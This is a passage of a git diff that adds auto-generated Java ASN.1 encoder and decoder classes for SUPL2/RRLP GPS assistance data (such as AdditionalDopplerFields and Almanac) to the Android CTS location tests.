+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AdditionalAssistanceData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AdditionalAssistanceData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AdditionalAssistanceData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AdditionalAssistanceData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AdditionalAssistanceData != null) {
+ return ImmutableList.of(TAG_AdditionalAssistanceData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AdditionalAssistanceData from encoded stream.
+ */
+ public static AdditionalAssistanceData fromPerUnaligned(byte[] encodedBytes) {
+ AdditionalAssistanceData result = new AdditionalAssistanceData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AdditionalAssistanceData from encoded stream.
+ */
+ public static AdditionalAssistanceData fromPerAligned(byte[] encodedBytes) {
+ AdditionalAssistanceData result = new AdditionalAssistanceData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSAssistanceData gpsAssistanceData_;
+ public GPSAssistanceData getGpsAssistanceData() {
+ return gpsAssistanceData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSAssistanceData
+ */
+ public void setGpsAssistanceData(Asn1Object value) {
+ this.gpsAssistanceData_ = (GPSAssistanceData) value;
+ }
+ public GPSAssistanceData setGpsAssistanceDataToNewInstance() {
+ gpsAssistanceData_ = new GPSAssistanceData();
+ return gpsAssistanceData_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+ private GANSSAssistanceData extensionGanssAssistanceData;
+ public GANSSAssistanceData getExtensionGanssAssistanceData() {
+ return extensionGanssAssistanceData;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSAssistanceData
+ */
+ public void setExtensionGanssAssistanceData(Asn1Object value) {
+ extensionGanssAssistanceData = (GANSSAssistanceData) value;
+ }
+ public void setExtensionGanssAssistanceDataToNewInstance() {
+ extensionGanssAssistanceData = new GANSSAssistanceData();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsAssistanceData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsAssistanceData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsAssistanceDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSAssistanceData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsAssistanceData : "
+ + getGpsAssistanceData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionGanssAssistanceData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionGanssAssistanceData();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionGanssAssistanceDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssAssistanceData : "
+ + getExtensionGanssAssistanceData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AdditionalAssistanceData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
new file mode 100755
index 0000000..54230ae
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AdditionalDopplerFields.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class AdditionalDopplerFields extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_AdditionalDopplerFields
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AdditionalDopplerFields() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AdditionalDopplerFields;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AdditionalDopplerFields != null) {
+ return ImmutableList.of(TAG_AdditionalDopplerFields);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AdditionalDopplerFields from encoded stream.
+ */
+ public static AdditionalDopplerFields fromPerUnaligned(byte[] encodedBytes) {
+ AdditionalDopplerFields result = new AdditionalDopplerFields();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AdditionalDopplerFields from encoded stream.
+ */
+ public static AdditionalDopplerFields fromPerAligned(byte[] encodedBytes) {
+ AdditionalDopplerFields result = new AdditionalDopplerFields();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AdditionalDopplerFields.doppler1Type doppler1_;
+ public AdditionalDopplerFields.doppler1Type getDoppler1() {
+ return doppler1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AdditionalDopplerFields.doppler1Type
+ */
+ public void setDoppler1(Asn1Object value) {
+ this.doppler1_ = (AdditionalDopplerFields.doppler1Type) value;
+ }
+ public AdditionalDopplerFields.doppler1Type setDoppler1ToNewInstance() {
+ doppler1_ = new AdditionalDopplerFields.doppler1Type();
+ return doppler1_;
+ }
+
+ private AdditionalDopplerFields.dopplerUncertaintyType dopplerUncertainty_;
+ public AdditionalDopplerFields.dopplerUncertaintyType getDopplerUncertainty() {
+ return dopplerUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AdditionalDopplerFields.dopplerUncertaintyType
+ */
+ public void setDopplerUncertainty(Asn1Object value) {
+ this.dopplerUncertainty_ = (AdditionalDopplerFields.dopplerUncertaintyType) value;
+ }
+ public AdditionalDopplerFields.dopplerUncertaintyType setDopplerUncertaintyToNewInstance() {
+ dopplerUncertainty_ = new AdditionalDopplerFields.dopplerUncertaintyType();
+ return dopplerUncertainty_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler1();
+ }
+
+ @Override public void setToNewInstance() {
+ setDoppler1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AdditionalDopplerFields.doppler1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler1 : "
+ + getDoppler1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getDopplerUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDopplerUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setDopplerUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AdditionalDopplerFields.dopplerUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "dopplerUncertainty : "
+ + getDopplerUncertainty().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class doppler1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_doppler1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public doppler1Type() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_doppler1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_doppler1Type != null) {
+ return ImmutableList.of(TAG_doppler1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new doppler1Type from encoded stream.
+ */
+ public static doppler1Type fromPerUnaligned(byte[] encodedBytes) {
+ doppler1Type result = new doppler1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new doppler1Type from encoded stream.
+ */
+ public static doppler1Type fromPerAligned(byte[] encodedBytes) {
+ doppler1Type result = new doppler1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "doppler1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dopplerUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_dopplerUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dopplerUncertaintyType() {
+ super();
+ setValueRange("0", "4");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dopplerUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dopplerUncertaintyType != null) {
+ return ImmutableList.of(TAG_dopplerUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dopplerUncertaintyType from encoded stream.
+ */
+ public static dopplerUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ dopplerUncertaintyType result = new dopplerUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dopplerUncertaintyType from encoded stream.
+ */
+ public static dopplerUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ dopplerUncertaintyType result = new dopplerUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dopplerUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AdditionalDopplerFields = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java
new file mode 100755
index 0000000..d533a13
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/AlertFlag.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AlertFlag extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_AlertFlag
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AlertFlag() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AlertFlag;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AlertFlag != null) {
+ return ImmutableList.of(TAG_AlertFlag);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AlertFlag from encoded stream.
+ */
+ public static AlertFlag fromPerUnaligned(byte[] encodedBytes) {
+ AlertFlag result = new AlertFlag();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AlertFlag from encoded stream.
+ */
+ public static AlertFlag fromPerAligned(byte[] encodedBytes) {
+ AlertFlag result = new AlertFlag();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "AlertFlag = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java
new file mode 100755
index 0000000..9611c97
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Almanac.java
@@ -0,0 +1,366 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Almanac extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Almanac
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Almanac() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Almanac;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Almanac != null) {
+ return ImmutableList.of(TAG_Almanac);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Almanac from encoded stream.
+ */
+ public static Almanac fromPerUnaligned(byte[] encodedBytes) {
+ Almanac result = new Almanac();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Almanac from encoded stream.
+ */
+ public static Almanac fromPerAligned(byte[] encodedBytes) {
+ Almanac result = new Almanac();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Almanac.alamanacWNaType alamanacWNa_;
+ public Almanac.alamanacWNaType getAlamanacWNa() {
+ return alamanacWNa_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Almanac.alamanacWNaType
+ */
+ public void setAlamanacWNa(Asn1Object value) {
+ this.alamanacWNa_ = (Almanac.alamanacWNaType) value;
+ }
+ public Almanac.alamanacWNaType setAlamanacWNaToNewInstance() {
+ alamanacWNa_ = new Almanac.alamanacWNaType();
+ return alamanacWNa_;
+ }
+
+ private SeqOfAlmanacElement almanacList_;
+ public SeqOfAlmanacElement getAlmanacList() {
+ return almanacList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfAlmanacElement
+ */
+ public void setAlmanacList(Asn1Object value) {
+ this.almanacList_ = (SeqOfAlmanacElement) value;
+ }
+ public SeqOfAlmanacElement setAlmanacListToNewInstance() {
+ almanacList_ = new SeqOfAlmanacElement();
+ return almanacList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlamanacWNa() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlamanacWNa();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlamanacWNaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Almanac.alamanacWNaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "alamanacWNa : "
+ + getAlamanacWNa().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacList();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfAlmanacElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacList : "
+ + getAlmanacList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class alamanacWNaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_alamanacWNaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public alamanacWNaType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_alamanacWNaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_alamanacWNaType != null) {
+ return ImmutableList.of(TAG_alamanacWNaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new alamanacWNaType from encoded stream.
+ */
+ public static alamanacWNaType fromPerUnaligned(byte[] encodedBytes) {
+ alamanacWNaType result = new alamanacWNaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new alamanacWNaType from encoded stream.
+ */
+ public static alamanacWNaType fromPerAligned(byte[] encodedBytes) {
+ alamanacWNaType result = new alamanacWNaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "alamanacWNaType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Almanac = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
